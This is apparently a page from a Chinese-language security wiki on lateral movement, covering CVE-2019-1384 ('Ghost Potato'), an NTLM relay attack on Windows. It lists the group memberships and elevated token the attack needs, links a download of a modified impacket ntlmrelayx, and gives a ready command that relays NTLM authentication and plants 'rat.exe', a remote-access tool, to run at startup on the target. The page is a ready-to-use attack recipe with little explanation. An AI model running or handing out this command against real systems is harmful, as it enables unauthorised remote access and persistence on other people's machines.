> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/ntlm-zhong-ji-he-zhong-jian-ren-gong-ji/cve-2019-1384.md).

# CVE-2019-1384

```
Ghost Potato
要求：
用户必须是本地管理员组的成员
用户必须是 Backup Operators 组的成员
令牌必须提升
使用 ntlmrelayx 的修改版本：https ://shenaniganslabs.io/files/impacket-ghostpotato.zip
>ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```